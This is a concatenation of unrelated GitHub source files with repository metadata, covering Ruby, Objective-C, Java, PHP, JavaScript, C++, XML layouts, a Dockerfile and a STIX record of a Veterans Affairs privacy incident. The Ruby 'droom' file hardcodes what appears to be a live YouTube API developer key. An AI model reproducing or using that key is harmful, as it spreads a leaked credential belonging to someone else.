end
def use_biogs?
!!@@use_biogs
end
def use_organisations?
!!@@use_organisations
end
def stream_shared?
!!@@stream_shared
end
def use_separate_mobile_number?
!!@@use_separate_mobile_number
end
def enable_mailing_lists?
!!@@enable_mailing_lists
end
def calendar_closed?
!!@@calendar_closed
end
def all_events_public?
!!@@all_events_public
end
def all_documents_public?
!!@@all_documents_public
end
def dropbox_app_name
@@dropbox_app_name ||= 'droom'
end
def mailman_table_name
@@mailman_table_name ||= 'mailman_mysql'
end
def mailing_lists_active_by_default?
!!@@mailing_lists_active_by_default
end
def mailing_lists_digest_by_default?
!!@@mailing_lists_digest_by_default
end
def show_venue_map?
!!@@show_venue_map
end
def suggestible_classes
@@suggestible_classes ||= {
"event" => "Droom::Event",
"user" => "Droom::User",
"document" => "Droom::Document",
"group" => "Droom::Group",
"venue" => "Droom::Venue"
}
end
def add_suggestible_class(label, klass=nil)
klass ||= label.camelize
suggestible_classes[label] = klass.to_s
end
def yt_client
@@yt_client ||= YouTubeIt::Client.new(:dev_key => "AI39si473p0K4e6id0ZrM1vniyk8pdbqr67hH39hyFjW_JQoLg9xi6BecWFtraoPMCeYQmRgIc_XudGKVU8tmeQF8VHwjOUg8Q")
end
def aws_bucket_name
@@aws_bucket_name ||= nil
end
def aws_bucket
@@aws_bucket ||= Fog::Storage.new(Droom::Engine.config.paperclip_defaults[:fog_credentials]).directories.get(@@aws_bucket_name)
end
def required_calendar_names
@@required_calendar_names ||= %w{main stream}
end
def separate_calendars?
!!@@separate_calendars
end
def second_time_zone?
!!@@second_time_zone
end
def password_pattern
@@password_pattern ||= ".{6,}"
end
def require_login_permission?
!!@@require_login_permission
end
def default_permissions
@@default_permissions ||= %w{droom.login droom.calendar droom.directory droom.attach droom.library}
end
# Droom's preferences are arbitrary and open-ended. You can ask for any preference key: if it
# doesn't exist you just get back the default value, or nil if there isn't one. This is where you
# set the defaults.
#
def user_defaults
@@user_defaults ||= Droom::LazyHash.new({
:email => {
:enabled? => true,
:mailing_lists? => true,
:event_invitations? => false,
:digest? => false
},
:dropbox => {
:strategy => "clicked",
:events? => true,
}
})
end
# Here we are overriding droom default settings in a host app initializer to create local default settings.
# key should be dot-separated and string-like:
#
# Droom.set_default('email.digest', true)
#
# LazyHash#deep_set is a setter that can take compound keys and set nested values. It's defined in lib/lazy_hash.rb.
#
def set_user_default(key, value)
user_defaults.set(key, value)
end
def user_default(key)
user_defaults.get(key)
end
end
end
| {'content_hash': 'e959be05e562e0154d8984796f72034f', 'timestamp': '', 'source': 'github', 'line_count': 280, 'max_line_length': 157, 'avg_line_length': 25.014285714285716, 'alnum_prop': 0.5646773272415763, 'repo_name': 'spanner/droom', 'id': '9c97f646c42c061d7cbc7dfa1e9d363be006a867', 'size': '7004', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'lib/droom.rb', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '55911'}, {'name': 'CoffeeScript', 'bytes': '86057'}, {'name': 'Gherkin', 'bytes': '1699'}, {'name': 'HTML', 'bytes': '127765'}, {'name': 'JavaScript', 'bytes': '514603'}, {'name': 'Roff', 'bytes': '16257'}, {'name': 'Ruby', 'bytes': '289814'}]} |
@class APElement;
@interface APDocument : NSObject {
APElement *rootElement;
}
+ (id)documentWithXMLString:(NSString*)anXMLString;
- (id)initWithRootElement:(APElement*)aRootElement;
- (id)initWithString:(NSString*)anXMLString;
- (APElement*)rootElement;
- (NSString*)prettyXML;
- (NSString*)xml;
@end
| {'content_hash': '8bb022073d48509c338b43c03b82117e', 'timestamp': '', 'source': 'github', 'line_count': 18, 'max_line_length': 51, 'avg_line_length': 17.22222222222222, 'alnum_prop': 0.7451612903225806, 'repo_name': 'lechium/yourTubeiOS', 'id': '7dc317fe0d4d05cdf525609048c1ec75a2f6331a', 'size': '1094', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'yourTube/APDocument/APDocument.h', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '841'}, {'name': 'C++', 'bytes': '13317'}, {'name': 'CSS', 'bytes': '3351'}, {'name': 'HTML', 'bytes': '7938'}, {'name': 'JavaScript', 'bytes': '44689'}, {'name': 'Logos', 'bytes': '3192'}, {'name': 'Makefile', 'bytes': '139947'}, {'name': 'Objective-C', 'bytes': '2765772'}, {'name': 'Objective-C++', 'bytes': '68419'}, {'name': 'Perl', 'bytes': '141095'}, {'name': 'Perl 6', 'bytes': '911'}, {'name': 'Shell', 'bytes': '3821'}, {'name': 'Vim script', 'bytes': '3569'}]} |
<?xml version="1.0" encoding="utf-8"?>
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<!--<ProgressBar-->
<!--android:layout_width="100dp"-->
<!--android:layout_gravity="center"-->
<!--android:indeterminate="true"-->
<!--style="?android:attr/progressBarStyleHorizontal"-->
<!--android:layout_height="100dp" />-->
<ProgressBar
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center"
style="?android:attr/progressBarStyle"
/>
</FrameLayout> | {'content_hash': 'f842c2afab7c849d910b967669952bc7', 'timestamp': '', 'source': 'github', 'line_count': 19, 'max_line_length': 71, 'avg_line_length': 38.10526315789474, 'alnum_prop': 0.6284530386740331, 'repo_name': 'jaychang0917/android.nRecyclerView', 'id': '1eae583b24e5143124108c120da280adca032ee2', 'size': '724', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'app/src/main/res/layout/cell_loading.xml', 'mode': '33188', 'license': 'apache-2.0', 'language': []} |
//
// Ce fichier a été généré par l'implémentation de référence JavaTM Architecture for XML Binding (JAXB), v2.2.7
// Voir <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Toute modification apportée à ce fichier sera perdue lors de la recompilation du schéma source.
// Généré le : 2018.01.08 à 11:19:58 AM GMT
//
package com.in28minutes.courses;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Classe Java pour anonymous complex type.
*
* <p>Le fragment de schéma suivant indique le contenu attendu figurant dans cette classe.
*
* <pre>
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "")
@XmlRootElement(name = "GetAllCourseDetailsRequest")
public class GetAllCourseDetailsRequest {
}
| {'content_hash': '8b972687503ad3224e755d1ef318e511', 'timestamp': '', 'source': 'github', 'line_count': 39, 'max_line_length': 112, 'avg_line_length': 28.205128205128204, 'alnum_prop': 0.7218181818181818, 'repo_name': 'jamalgithub/workdev', 'id': '4da6e5ccc4583bfdf2e08cc0683e90a5e3ba3293', 'size': '1116', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'in28Munites-soap-course-management/src/main/java/com/in28minutes/courses/GetAllCourseDetailsRequest.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'CSS', 'bytes': '12727'}, {'name': 'Java', 'bytes': '2899130'}, {'name': 'PLSQL', 'bytes': '5617'}, {'name': 'TSQL', 'bytes': '2886'}]} |
FROM ubuntu:14.04
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get update && apt-get upgrade -y && \
apt-get install -y openjdk-7-jre-headless
| {'content_hash': 'f1e8113add9488ea03797d5d87b5d1a2', 'timestamp': '', 'source': 'github', 'line_count': 6, 'max_line_length': 45, 'avg_line_length': 24.5, 'alnum_prop': 0.7278911564625851, 'repo_name': 'zooniverse/docker-java', 'id': 'e6024e1a7576dc451cafa099444cc7af405777f6', 'size': '147', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Dockerfile', 'mode': '33188', 'license': 'apache-2.0', 'language': []} |
<stix:STIX_Package
xmlns:cyboxCommon="http://cybox.mitre.org/common-2"
xmlns:cybox="http://cybox.mitre.org/cybox-2"
xmlns:cyboxVocabs="http://cybox.mitre.org/default_vocabularies-2"
xmlns:example="http://example.com"
xmlns:incident="http://stix.mitre.org/Incident-1"
xmlns:ta="http://stix.mitre.org/ThreatActor-1"
xmlns:stixCommon="http://stix.mitre.org/common-1"
xmlns:stixVocabs="http://stix.mitre.org/default_vocabularies-1"
xmlns:stix-ciqidentity="http://stix.mitre.org/extensions/Identity#CIQIdentity3.0-1"
xmlns:stix="http://stix.mitre.org/stix-1"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xal="urn:oasis:names:tc:ciq:xal:3"
xmlns:xnl="urn:oasis:names:tc:ciq:xnl:3"
xmlns:xpil="urn:oasis:names:tc:ciq:xpil:3"
xsi:schemaLocation="
http://cybox.mitre.org/common-2 http://cybox.mitre.org/XMLSchema/common/2.1/cybox_common.xsd
http://cybox.mitre.org/cybox-2 http://cybox.mitre.org/XMLSchema/core/2.1/cybox_core.xsd
http://cybox.mitre.org/default_vocabularies-2 http://cybox.mitre.org/XMLSchema/default_vocabularies/2.1/cybox_default_vocabularies.xsd
http://stix.mitre.org/Incident-1 http://stix.mitre.org/XMLSchema/incident/1.1.1/incident.xsd
http://stix.mitre.org/ThreatActor-1 http://stix.mitre.org/XMLSchema/threat_actor/1.1.1/threat_actor.xsd
http://stix.mitre.org/common-1 http://stix.mitre.org/XMLSchema/common/1.1.1/stix_common.xsd
http://stix.mitre.org/default_vocabularies-1 http://stix.mitre.org/XMLSchema/default_vocabularies/1.1.1/stix_default_vocabularies.xsd
http://stix.mitre.org/extensions/Identity#CIQIdentity3.0-1 http://stix.mitre.org/XMLSchema/extensions/identity/ciq_3.0/1.1.1/ciq_3.0_identity.xsd
http://stix.mitre.org/stix-1 http://stix.mitre.org/XMLSchema/core/1.1.1/stix_core.xsd
urn:oasis:names:tc:ciq:xal:3 http://stix.mitre.org/XMLSchema/external/oasis_ciq_3.0/xAL.xsd
urn:oasis:names:tc:ciq:xnl:3 http://stix.mitre.org/XMLSchema/external/oasis_ciq_3.0/xNL.xsd
urn:oasis:names:tc:ciq:xpil:3 http://stix.mitre.org/XMLSchema/external/oasis_ciq_3.0/xPIL.xsd" id="example:Package-651c248a-5158-4945-9b83-af847ee5c5b8" version="1.1.1" timestamp="2013-12-11T20:13:34+00:00">
<stix:Incidents>
<stix:Incident id="example:incident-a923bc52-dd0f-44be-ac59-da8f45e2e8ca" timestamp="2014-07-30T19:07:18+00:00" xsi:type='incident:IncidentType'>
<incident:Title>A Veteran reported to an outpatient VA clinic today and submitted a document that pertained to another Veteran. Several weeks ago this veteran was provided a future appointment reminder document which pertained to another Veteran. This Veteran was turning this into the clinic after he now realized that the document pertained to another Veteran.</incident:Title>
<incident:External_ID source="VERIS">B66DAE70-62A0-11E3-958A-14109FCE954D</incident:External_ID>
<incident:Time>
<incident:Initial_Compromise precision="year">2013-01-01T00:00:00</incident:Initial_Compromise>
</incident:Time>
<incident:Reporter>
<stixCommon:Identity xsi:type='stix-ciqidentity:CIQIdentity3.0InstanceType'>
<ExtSch:Specification xmlns:ExtSch="http://stix.mitre.org/extensions/Identity#CIQIdentity3.0-1">
<xpil:PartyName xmlns:xpil="urn:oasis:names:tc:ciq:xpil:3">
<xnl:NameLine xmlns:xnl="urn:oasis:names:tc:ciq:xnl:3">swidup</xnl:NameLine>
</xpil:PartyName>
</ExtSch:Specification>
</stixCommon:Identity>
</incident:Reporter>
<incident:Victim xsi:type='stix-ciqidentity:CIQIdentity3.0InstanceType'>
<ExtSch:Specification xmlns:ExtSch="http://stix.mitre.org/extensions/Identity#CIQIdentity3.0-1">
<xpil:PartyName xmlns:xpil="urn:oasis:names:tc:ciq:xpil:3">
<xnl:NameLine xmlns:xnl="urn:oasis:names:tc:ciq:xnl:3">United States Department of Veterans Affairs</xnl:NameLine>
</xpil:PartyName>
<xpil:Addresses xmlns:xpil="urn:oasis:names:tc:ciq:xpil:3">
<xpil:Address>
<xal:Country xmlns:xal="urn:oasis:names:tc:ciq:xal:3">
<xal:NameElement>US</xal:NameElement>
</xal:Country>
<xal:AdministrativeArea xmlns:xal="urn:oasis:names:tc:ciq:xal:3">
<xal:NameElement>PA</xal:NameElement>
</xal:AdministrativeArea>
</xpil:Address>
</xpil:Addresses>
</ExtSch:Specification>
</incident:Victim>
<incident:Affected_Assets>
<incident:Affected_Asset>
<incident:Type>Documents</incident:Type>
<incident:Nature_Of_Security_Effect>
<incident:Property_Affected>
<incident:Property xsi:type="stixVocabs:LossPropertyVocab-1.0">Confidentiality</incident:Property>
<incident:Description_Of_Effect>Medical</incident:Description_Of_Effect>
</incident:Property_Affected>
</incident:Nature_Of_Security_Effect>
</incident:Affected_Asset>
</incident:Affected_Assets>
<incident:Attributed_Threat_Actors>
<incident:Threat_Actor>
<stixCommon:Threat_Actor idref="example:threatactor-a2c1ecbc-862e-4214-a6fe-b99f0f903d80" xsi:type='ta:ThreatActorType'/>
</incident:Threat_Actor>
</incident:Attributed_Threat_Actors>
<incident:Security_Compromise xsi:type="stixVocabs:SecurityCompromiseVocab-1.0">Yes</incident:Security_Compromise>
<incident:Discovery_Method xsi:type="stixVocabs:DiscoveryMethodVocab-1.0">Unknown</incident:Discovery_Method>
<incident:Information_Source>
<stixCommon:Identity>
<stixCommon:Name>vcdb</stixCommon:Name>
</stixCommon:Identity>
<stixCommon:Tools>
<cyboxCommon:Tool>
<cyboxCommon:Name>veris2stix</cyboxCommon:Name>
<cyboxCommon:Vendor>MITRE</cyboxCommon:Vendor>
<cyboxCommon:Version>0.1</cyboxCommon:Version>
</cyboxCommon:Tool>
<cyboxCommon:Tool>
<cyboxCommon:Name>VERIS schema</cyboxCommon:Name>
<cyboxCommon:Vendor>Verizon</cyboxCommon:Vendor>
<cyboxCommon:Version>1.3.0</cyboxCommon:Version>
</cyboxCommon:Tool>
</stixCommon:Tools>
<stixCommon:References>
<stixCommon:Reference>http://vcdb.org/pdf/va-security.pdf</stixCommon:Reference>
</stixCommon:References>
</incident:Information_Source>
</stix:Incident>
</stix:Incidents>
<stix:Threat_Actors>
<stix:Threat_Actor id="example:threatactor-a2c1ecbc-862e-4214-a6fe-b99f0f903d80" timestamp="2014-12-22T16:33:07.799000+00:00" xsi:type='ta:ThreatActorType'>
<ta:Type timestamp="2014-12-22T16:33:07.799000+00:00">
<stixCommon:Value xsi:type="stixVocabs:ThreatActorTypeVocab-1.0">Insider Threat</stixCommon:Value>
<stixCommon:Description>Unknown</stixCommon:Description>
</ta:Type>
<ta:Motivation timestamp="2014-12-22T16:33:07.799000+00:00">
<stixCommon:Value>NA</stixCommon:Value>
</ta:Motivation>
</stix:Threat_Actor>
</stix:Threat_Actors>
</stix:STIX_Package>
| {'content_hash': '3df67bc3fdb3cbf0674a33c0a602d5bf', 'timestamp': '', 'source': 'github', 'line_count': 113, 'max_line_length': 391, 'avg_line_length': 65.52212389380531, 'alnum_prop': 0.6704484062668827, 'repo_name': 'rpiazza/veris-to-stix', 'id': '05a4cc0f9566007a14ca9ae9bd20088b7ce46ab5', 'size': '7404', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'results/B66DAE70-62A0-11E3-958A-14109FCE954D.xml', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'Python', 'bytes': '48356'}]} |
#ifndef itkCacheableScalarFunction_h
#define itkCacheableScalarFunction_h
#include "itkArray.h"
#include "itkIntTypes.h"
#include "ITKBiasCorrectionExport.h"
namespace itk
{
/** \class CacheableScalarFunction
* \brief function cache implementation
*
* This is the base class for continuous scalar functions which
* needs cache for their pre-evaluated function returns.
*
* The internal cache is created using the upper- and lower-bound domain
* values of the functional form (f(x))of subclasses of this class. So the
* cache only stores pre-evaluated values between f(lower-bound) and
* f(upper-bound).
*
* To create a cache for continuous function, it uses sampling.
* With the given sample number , upper-bound, and lower-bound, it calculates
* interval within the ranges. It pre-evaluates and save f(x)
* where x = lower-bound + interval * [0 - sample number]
*
* If a subclass of this class want to use a cache, it should
* explicitly call CreateCache(...) member function. GetCachedValue(x) will
* return pre-evaluated f(x) value. However, the return value from
* GetCachedValue(x) might be different from the exact return value from f(x)
* which is Evaluate(x) member function of subclasses of this class, because
* The GetCachedValue(x) member function internally converts x to cache table
* index and the conversion involves with truncation. So, users can think the
* cached value as an approximate to exact function return.
*
* In some case, approximate values can be useful.
* For example, CompositeValleyFunction can be used as an M-estimator and
* it is currently used for MRIBiasFieldCorrectionFilter
* as an energy function. The bias field estimation requires calculation of
* energy values again and again for each iteration.
* \ingroup ITKBiasCorrection
*/
class ITKBiasCorrection_EXPORT CacheableScalarFunction
{
public:
/** Constructor. */
CacheableScalarFunction();
/** Destructor. */
virtual ~CacheableScalarFunction();
/** Function's input and output value type. */
typedef double MeasureType;
typedef Array< MeasureType > MeasureArrayType;
/** Get the number of samples between the lower-bound and upper-bound
* of the cache table. */
SizeValueType GetNumberOfSamples() { return m_NumberOfSamples; }
/** Check if the internal cache table and its values are valid. */
bool IsCacheAvailable() { return m_CacheAvailable; }
/** Get the upper-bound of domain that is used for filling the cache table. */
double GetCacheUpperBound() { return m_CacheUpperBound; }
/** Get the lower-bound of domain that is used for filling the cache table. */
double GetCacheLowerBound() { return m_CacheLowerBound; }
/** y = f(x)
* Subclasses of this class should override this member function
* to provide their own functional operation . */
virtual MeasureType Evaluate(MeasureType x);
/** Gets the interval of each cell between the upper and lower bound */
double GetInterval()
{ return m_TableInc; }
/** y = f(x) = (approximately) cache_table(index(x))
* Get the function return using the internal cache table
* NOTE: Since the index calculation needs conversion from double
* to int, truncation happens. As a result, the return values from
* Evaluate(x) and GetCachedValue(x) may not be same for the same x. */
inline MeasureType GetCachedValue(MeasureType x)
{
if ( x > m_CacheUpperBound || x < m_CacheLowerBound )
{
throw ExceptionObject(__FILE__, __LINE__);
}
// access table
int index = (int)( ( x - m_CacheLowerBound ) / m_TableInc );
return m_CacheTable[index];
}
protected:
/** Create the internal cache table and fill it with
* pre-evaluated values. */
void CreateCache(double lowerBound, double upperBound, SizeValueType sampleSize);
private:
/** The number of samples will be precalcualted and saved in the
* cache table. */
SizeValueType m_NumberOfSamples;
/** Storage for the precalcualted function values. */
MeasureArrayType m_CacheTable;
/** The upper-bound of domain that is used for filling the cache table. */
double m_CacheUpperBound;
/** The lower-bound of domain that is used for filling the cache table. */
double m_CacheLowerBound;
/** Sampling interval for function evaluation. */
double m_TableInc;
/** Is the cache available? */
bool m_CacheAvailable;
}; // end of class
} // end of namespace itk
#endif
| {'content_hash': '51d37c9de8de62a78f07683e273c75f2', 'timestamp': '', 'source': 'github', 'line_count': 120, 'max_line_length': 83, 'avg_line_length': 37.975, 'alnum_prop': 0.7072635505815229, 'repo_name': 'RayRuizhiLiao/ITK_4D', 'id': '7e8253127e666055700fad8056f6299ac07b0f1c', 'size': '5348', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Modules/Filtering/BiasCorrection/include/itkCacheableScalarFunction.h', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'C', 'bytes': '572693'}, {'name': 'C++', 'bytes': '36720665'}, {'name': 'CMake', 'bytes': '1448020'}, {'name': 'CSS', 'bytes': '18346'}, {'name': 'Java', 'bytes': '29480'}, {'name': 'Objective-C++', 'bytes': '6753'}, {'name': 'Perl', 'bytes': '6113'}, {'name': 'Python', 'bytes': '385395'}, {'name': 'Ruby', 'bytes': '309'}, {'name': 'Shell', 'bytes': '92050'}, {'name': 'Tcl', 'bytes': '75202'}, {'name': 'XSLT', 'bytes': '8874'}]} |
SYNONYM
#### According to
The Catalogue of Life, 3rd January 2011
#### Published in
null
#### Original name
null
### Remarks
null | {'content_hash': '5468699806c3bf5dbf4a32ad1f6a97ff', 'timestamp': '', 'source': 'github', 'line_count': 13, 'max_line_length': 39, 'avg_line_length': 10.23076923076923, 'alnum_prop': 0.6917293233082706, 'repo_name': 'mdoering/backbone', 'id': 'e99f2ee32c12ff345dd8995a1012963264085ae6', 'size': '183', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'life/incertae sedis/Pilosella stoloniflora/ Syn. Pilosella kihlmanii/README.md', 'mode': '33188', 'license': 'apache-2.0', 'language': []} |
<?php
namespace common\models;
use Yii;
use yii\base\Model;
/**
* Login form
*/
class LoginForm extends Model
{
public $username;
public $password;
public $rememberMe = true;
private $_user;
/**
* @inheritdoc
*/
public function rules()
{
return [
// username and password are both required
[['username', 'password'], 'required'],
// rememberMe must be a boolean value
['rememberMe', 'boolean'],
// password is validated by validatePassword()
['password', 'validatePassword'],
];
}
/**
* Validates the password.
* This method serves as the inline validation for password.
*
* @param string $attribute the attribute currently being validated
* @param array $params the additional name-value pairs given in the rule
*/
public function validatePassword($attribute, $params)
{
if (!$this->hasErrors()) {
$user = $this->getUser();
if (!$user || !$user->validatePassword($this->password)) {
$this->addError($attribute, '用户名或密码不正确');
}
}
}
/**
* Logs in a user using the provided username and password.
*
* @return bool whether the user is logged in successfully
*/
public function login()
{
if ($this->validate()) {
return Yii::$app->user->login($this->getUser(), $this->rememberMe ? 3600 * 24 * 30 : 0);
} else {
return false;
}
}
/**
* Finds user by [[username]]
*
* @return User|null
*/
protected function getUser()
{
if ($this->_user === null) {
$this->_user = User::findByUsername($this->username);
}
return $this->_user;
}
}
| {'content_hash': '0f3d144d66f7d9c3c31c32df46d3f843', 'timestamp': '', 'source': 'github', 'line_count': 78, 'max_line_length': 100, 'avg_line_length': 23.525641025641026, 'alnum_prop': 0.5340599455040872, 'repo_name': 'evoshop/evo_maa', 'id': '49f1ebec1788c60fd68d3486c1bf5fa194aa60ea', 'size': '1853', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'common/models/LoginForm.php', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'ApacheConf', 'bytes': '538'}, {'name': 'Batchfile', 'bytes': '1546'}, {'name': 'CSS', 'bytes': '348105'}, {'name': 'JavaScript', 'bytes': '2264688'}, {'name': 'PHP', 'bytes': '217575'}, {'name': 'Shell', 'bytes': '3256'}]} |
package acteve.explorer;
class RWRecord {
int id;
int fldId;
RWRecord(int id, int fldId)
{
this.id = id;
this.fldId = fldId;
}
public boolean equals(Object other) {
if(!(other instanceof RWRecord))
return false;
RWRecord otherRecord = (RWRecord) other;
return this.id == otherRecord.id && this.fldId == otherRecord.fldId;
}
public int hashCode() {
return (id * fldId) % 13;
}
}
| {'content_hash': '2988c75ba3ce72a72fa7d92d10cf380c', 'timestamp': '', 'source': 'github', 'line_count': 25, 'max_line_length': 70, 'avg_line_length': 16.32, 'alnum_prop': 0.6617647058823529, 'repo_name': 'JulianSchuette/ConDroid', 'id': '5cef558f6c1a574fed546611032911039484d300', 'size': '2037', 'binary': False, 'copies': '1', 'ref': 'refs/heads/develop', 'path': 'src/main/java/acteve/explorer/RWRecord.java', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'C', 'bytes': '6556'}, {'name': 'Java', 'bytes': '779008'}, {'name': 'Shell', 'bytes': '1578'}]} |
const BinExp = require('./binexp.js');
const Type = require('./type');
const Context = require('../semantic/context.js');
class BinExpAdd extends BinExp {
constructor(firstExp, addop, secExp) {
super();
this.firstExp = firstExp;
this.binop = addop;
this.secExp = secExp;
}
toString() {
return `(Add : ${this.firstExp.toString()} ${this.binop.toString()} ${this.secExp.toString()})`;
}
analyze(context) {
this.firstExp.type = this.firstExp.analyze(context);
if (this.secExp.toString().length > 0) { // gotta ensure that somethings there
this.secExp.type = this.secExp.analyze(context);
if (['+', '-'].includes(this.binop)) {
const isNumber = this.firstExp.type.intCheck() || this.firstExp.type.floatCheck();
const isNumberTwo = this.secExp.type.intCheck() || this.secExp.type.floatCheck();
if (!isNumber || !isNumberTwo) {
throw Error('Wrong operands, expected numbers');
}
const isFloat = this.firstExp.type.floatCheck();
const isFloatTwo = this.secExp.type.floatCheck();
if (isFloat || isFloatTwo) {
this.type = Type.FLOAT;
} else {
this.type = Type.INT;
}
}
}
return this.type;
}
}
module.exports = BinExpAdd;
| {'content_hash': 'beb5d1c8d24d76bf4c1ff70d5fb368d1', 'timestamp': '', 'source': 'github', 'line_count': 45, 'max_line_length': 100, 'avg_line_length': 28.644444444444446, 'alnum_prop': 0.6113266097750194, 'repo_name': 'mitchelljfs/madmaan', 'id': 'ecfef08a7853920206f1a562b3f3546eb6bb9e39', 'size': '1289', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'entities/binexpAdd.js', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'JavaScript', 'bytes': '34944'}]} |
<?xml version="1.0"?>
<!--
-->
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
<body>
<referenceContainer name="content">
<block class="Magento\Cookie\Block\RequireCookie" name="require-cookie" template="Magento_Cookie::require_cookie.phtml">
<arguments>
<argument name="triggers" xsi:type="array">
<item name="addToWishlistLink" xsi:type="string">.action.towishlist</item>
</argument>
</arguments>
</block>
</referenceContainer>
</body>
</page>
| {'content_hash': 'a20d4b8cf4ee83bc1b5d6982fa736b4b', 'timestamp': '', 'source': 'github', 'line_count': 17, 'max_line_length': 153, 'avg_line_length': 41.0, 'alnum_prop': 0.593974175035868, 'repo_name': 'enettolima/magento-training', 'id': '1e4f27875c6bdae65b6a4e8cb2cdb1dcfffca32b', 'size': '795', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'magento2ce/app/code/Magento/Wishlist/view/frontend/layout/catalog_product_view.xml', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ApacheConf', 'bytes': '22648'}, {'name': 'CSS', 'bytes': '3382928'}, {'name': 'HTML', 'bytes': '8749335'}, {'name': 'JavaScript', 'bytes': '7355635'}, {'name': 'PHP', 'bytes': '58607662'}, {'name': 'Perl', 'bytes': '10258'}, {'name': 'Shell', 'bytes': '41887'}, {'name': 'XSLT', 'bytes': '19889'}]} |
package com.alibaba.rocketmq.common;
import com.alibaba.rocketmq.remoting.common.RemotingHelper;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.text.NumberFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.*;
import java.util.zip.CRC32;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
/**
* @author shijia.wxr
*/
public class UtilAll {
public static final String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss";
public static final String YYYY_MM_DD_HH_MM_SS_SSS = "yyyy-MM-dd#HH:mm:ss:SSS";
public static final String YYYY_MMDD_HHMMSS = "yyyyMMddHHmmss";
public static int getPid() {
RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();
String name = runtime.getName(); // format: "pid@hostname"
try {
return Integer.parseInt(name.substring(0, name.indexOf('@')));
} catch (Exception e) {
return -1;
}
}
public static String currentStackTrace() {
StringBuilder sb = new StringBuilder();
StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
for (StackTraceElement ste : stackTrace) {
sb.append("\n\t");
sb.append(ste.toString());
}
return sb.toString();
}
public static String offset2FileName(final long offset) {
final NumberFormat nf = NumberFormat.getInstance();
nf.setMinimumIntegerDigits(20);
nf.setMaximumFractionDigits(0);
nf.setGroupingUsed(false);
return nf.format(offset);
}
public static long computeEclipseTimeMilliseconds(final long beginTime) {
return System.currentTimeMillis() - beginTime;
}
public static boolean isItTimeToDo(final String when) {
String[] whiles = when.split(";");
if (whiles != null && whiles.length > 0) {
Calendar now = Calendar.getInstance();
for (String w : whiles) {
int nowHour = Integer.parseInt(w);
if (nowHour == now.get(Calendar.HOUR_OF_DAY)) {
return true;
}
}
}
return false;
}
public static String timeMillisToHumanString() {
return timeMillisToHumanString(System.currentTimeMillis());
}
public static String timeMillisToHumanString(final long t) {
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(t);
return String.format("%04d%02d%02d%02d%02d%02d%03d", cal.get(Calendar.YEAR), cal.get(Calendar.MONTH) + 1,
cal.get(Calendar.DAY_OF_MONTH), cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), cal.get(Calendar.SECOND),
cal.get(Calendar.MILLISECOND));
}
public static long computNextMorningTimeMillis() {
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(System.currentTimeMillis());
cal.add(Calendar.DAY_OF_MONTH, 1);
cal.set(Calendar.HOUR_OF_DAY, 0);
cal.set(Calendar.MINUTE, 0);
cal.set(Calendar.SECOND, 0);
cal.set(Calendar.MILLISECOND, 0);
return cal.getTimeInMillis();
}
public static long computNextMinutesTimeMillis() {
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(System.currentTimeMillis());
cal.add(Calendar.DAY_OF_MONTH, 0);
cal.add(Calendar.HOUR_OF_DAY, 0);
cal.add(Calendar.MINUTE, 1);
cal.set(Calendar.SECOND, 0);
cal.set(Calendar.MILLISECOND, 0);
return cal.getTimeInMillis();
}
public static long computNextHourTimeMillis() {
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(System.currentTimeMillis());
cal.add(Calendar.DAY_OF_MONTH, 0);
cal.add(Calendar.HOUR_OF_DAY, 1);
cal.set(Calendar.MINUTE, 0);
cal.set(Calendar.SECOND, 0);
cal.set(Calendar.MILLISECOND, 0);
return cal.getTimeInMillis();
}
public static long computNextHalfHourTimeMillis() {
Calendar cal = Calendar.getInstance();
